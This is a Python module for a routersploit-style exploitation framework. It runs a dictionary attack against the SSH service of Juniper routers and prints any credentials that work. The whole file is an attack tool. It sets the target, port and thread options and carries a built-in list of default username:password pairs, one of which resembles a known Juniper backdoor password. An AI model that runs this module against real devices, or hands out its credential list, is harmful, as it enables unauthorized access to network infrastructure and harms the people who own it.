from maza.core.exploit import *
from maza.modules.creds.generic.ssh_default import Exploit as SSHDefault


class Exploit(SSHDefault):
    __info__ = {
        "name": "Juniper Router Default SSH Creds",
        "description": "Module performs dictionary attack against Juniper Router SSH service. "
                       "If valid credentials are foundm they are displayed to the user.",
        "authors": (
            "Marcin Bury <marcin[at]threat9.com>",  # routersploit module
        ),
        "devices": (
            "Juniper Router",
        ),
    }

    target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
    port = OptPort(22, "Target SSH port")

    threads = OptInteger(1, "Number of threads")
    defaults = OptWordlist("admin:abc123,super:juniper123,admin:<<< %s(un='%s') = %u.", "User:Pass or file with default credentials (file://)")
